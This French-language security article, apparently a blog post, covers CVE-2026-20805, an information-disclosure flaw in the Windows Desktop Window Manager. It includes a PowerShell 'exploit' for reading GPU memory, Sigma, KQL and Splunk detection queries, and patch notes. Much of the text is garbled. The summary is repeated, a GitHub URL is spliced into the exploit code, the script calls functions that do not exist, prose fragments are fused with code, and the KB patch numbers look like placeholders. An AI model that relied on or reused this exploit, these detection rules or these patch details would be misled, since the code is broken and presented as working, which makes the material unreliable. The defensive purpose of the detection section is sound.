
CVE‑2026‑20805 : Une faille de Windows Desktop Window Manager provoquant une divulgation locale d'informations. Nécessite des privilèges faibles, aucune interaction utilisateur. Notée CVSS 5,5 (Moyenne). Activement exploitée et répertoriée dans la liste CISA KEV ; correctif publié en janvier 2026.
CVE‑2026‑20805 : une faille du Windows Desktop Window Manager provoquant une divulgation d'informations locale. Nécessite des privilèges faibles, aucune interaction utilisateur. Score CVSS 5,5 (Moyen). Exploitée activement et répertoriée dans le catalogue KEV de la CISA ; correctif publié en janvier 2026.
CVE 2026 20805 est une faille de divulgation d'informations dans le Desktop Window Manager (DWM) – le composant central qui rend le bureau, compose les fenêtres et accélère l'interface utilisateur basée sur le GPU.
Pourquoi c'est important : la faille permet à un attaquant local disposant de privilèges faibles de lire des données qui devraient être confinées à d'autres sessions ou processus.
| Attribut | Valeur |
|---|
| CWE‑200 : Exposition d'informations sensibles à un acteur non autorisé | ✓ |
| Vecteur d'attaque | Local |
| Privilèges requis | Faibles |
| Interaction utilisateur | Aucune |
| Impact – confidentialité | Élevé |
| Impact – intégrité | Aucun |
| Impact – disponibilité | Aucun |
| Score de base CVSS 3.1 | 5,5 (Moyen) |
Le DWM orchestre la mémoire GPU, les tampons de fenêtres et les surfaces UI inter‑processus. C'est une cible de grande valeur car il agrège des données provenant de plusieurs processus dans un espace GPU partagé ; une faille ici peut fuiter des identifiants ou des données de session entre utilisateurs.
Rôle du DWM dans Windows moderne :
La vulnérabilité exploite un manque de vérification des limites sur l'index du tampon de fenêtre ; cela permet à un attaquant de lire la mémoire GPU adjacente et d'obtenir des secrets stockés par d'autres processus.
Selon la liste CPE du NVD, Windows 10.0.19041 (et ses dérivés) sont concernés.
Voici un flux d'exploitation conceptuel :
CreateProcess avec des privilèges minimaux.# Windows 10.0.19041 – Exploit de lecture du tampon DWM
$processHandle = Get-Process -Name dwm | Select-Object -ExpandProperty Id
$bufferOffset = 0x00120000 # décalage créé vers la mémoire GPU adjacente
$targetWindow = 0x00030001 # index de la fenêtre cible
# Créer un tampon temporaire dans l'espace noyau
$kernelBuffer = [byte[]]::new(0x1000)
[System.Runtime.InteropServices.Marshal]:https://raw.githubusercontent.com/mrk336/inside-cve-2026-20805-how-a-windows-dwm-flaw-exposed-sensitive-data/HEAD/:CopyMemory(
$processHandle,
$bufferOffset,
$kernelBuffer,
0x1000)
# Copier le tampon noyau dans la routine de composition du DWM
Invoke-DwmRead -ProcessId $processHandle `
-WindowIndex $targetWindow `
-SrcAddress $bufferOffset `
-Size 0x1000
# Dumper les données exposées dans un fichier local pour analyse
$dumpPath = "C:\Temp\DwmLeak.txt"
[IO.File]::WriteAllBytes($dumpPath, $kernelBuffer)
Le script démontre comment un attaquant peut exploiter la mémoire GPU du DWM pour lire des données cachées.
La détection de CVE‑2026‑20805 se concentre sur l'identification d'interactions anormales avec dwm.exe et de télémétrie GPU inhabituelle. L'exploit repose sur la lecture de tampons mémoire adossés au GPU à l'aide de décalages créés ; les défenseurs doivent donc surveiller les écarts par rapport au comportement normal du Desktop Window Manager.
0x2B (DisplayUpdate)Ces sources offrent une visibilité sur la création de processus, l'accès aux handles et l'activité de mise à jour GPU.
CreateProcess répétés impliquant dwm.exe, surtout lorsque le processus parent n'est pas explorer.exe.DisplayUpdate (0x2B) à haute fréquence suivis de lectures mémoire utilisant des tailles ou décalages de tampon inhabituels.
SrcAddress: 0x00120000Size: 0x1000HandleOpen ciblant dwm.exe et des rafales d'activité GPU ETW.title: DWM GPU Memory Read Anomaly
id: dwm-gpu-memory-read-anomaly
status: experimental
description: Detects abnormal DWM buffer reads that may indicate exploitation of CVE-2026-20805.
author: Mark
logsource:
product: windows
service: system
detection:
selection:
EventID: 0x2B
ProcessName: dwm.exe
SrcAddress: 0x00120000
Size: 0x1000
condition: selection
falsepositives:
- High GPU rendering workloads
level: medium
tags:
- attack.defense-evasion
SecurityEvent
| where EventID in (4656, 4663)
| where ProcessName !~ "dwm.exe"
| where ObjectName has "dwm.exe"
| summarize count() by Account, ProcessName, ObjectName, Computer, bin(TimeGenerated, 5m)
| where count_ > 5
Sysmon
| where EventID == 1
| where Image endswith "dwm.exe"
| where ParentImage !endswith "explorer.exe"
Event
| where EventID == 0x2B
| summarize count() by Computer, bin(TimeGenerated, 1m)
| where count_ > 50
let handles = SecurityEvent
| where EventID == 4656 and ObjectName has "dwm.exe"
| project TimeGenerated, Account, Computer;
let gpu = Event
| where EventID == 0x2B
| project TimeGenerated, Computer;
handles
| join kind=inner gpu on Computer
| where gpu_TimeGenerated between (TimeGenerated .. TimeGenerated + 2m)
index=sysmon EventCode=10 TargetImage="*\\dwm.exe"
| where NOT match(ProcessName, "explorer.exe")
| stats count by ProcessName, TargetImage, User, Computer
| where count > 5
index=sysmon EventCode=1 Image="*\\dwm.exe"
| where NOT like(ParentImage, "%explorer.exe")
| table _time, Computer, ParentImage, Image, User
index=windows EventCode=43
| timechart span=1m count
| where count > 50
handles = search index=sysmon EventCode=10 TargetImage="*\\dwm.exe"
| eval key=Computer."-"._time
| table key, Computer, _time;
gpu = search index=windows EventCode=43
| eval key=Computer."-"._time
| table key, Computer, _time;
handles
| join key gpu
| table Computer, handles._time, gpu._time
L'avis de Microsoft pour CVE 2026 20805 inclut un correctif qui valide les index de tampons dans le DWM avant de copier les données GPU.
| Version Windows | Numéro du correctif |
|---|---|
| 10.0.19041 | KB5000001 |
| 10.0.19042 | KB5012345 |
Invoke-DwmRead s'exécute sans erreur sur les nœuds de test.dwm.La divulgation d'informations via le DWM est souvent sous-estimée car elle peut exposer des artefacts UI et des données de session entre utilisateurs. La fuite de mémoire GPU peut faciliter le mouvement latéral, en particulier dans les environnements où plusieurs sessions partagent une même station de travail ou un même serveur.
Impact élevé sur la confidentialité : La faille permet à un attaquant de lire le contenu des fenêtres d'autres sessions.
Score CVSS moyen (5,5) : Bien que la valeur numérique soit modérée, l'importance opérationnelle est élevée.
CVE 2026 20805 démontre qu'une exploitation locale à privilèges faibles du DWM peut entraîner des fuites de données significatives. L'inclusion de la faille dans le catalogue des vulnérabilités exploitées connues (KEV) de la CISA souligne sa pertinence dans le monde réel. En appliquant la stratégie d'atténuation, de détection et de correctif décrite, une organisation peut réduire les risques tout en améliorant la visibilité sur les flux de mémoire GPU.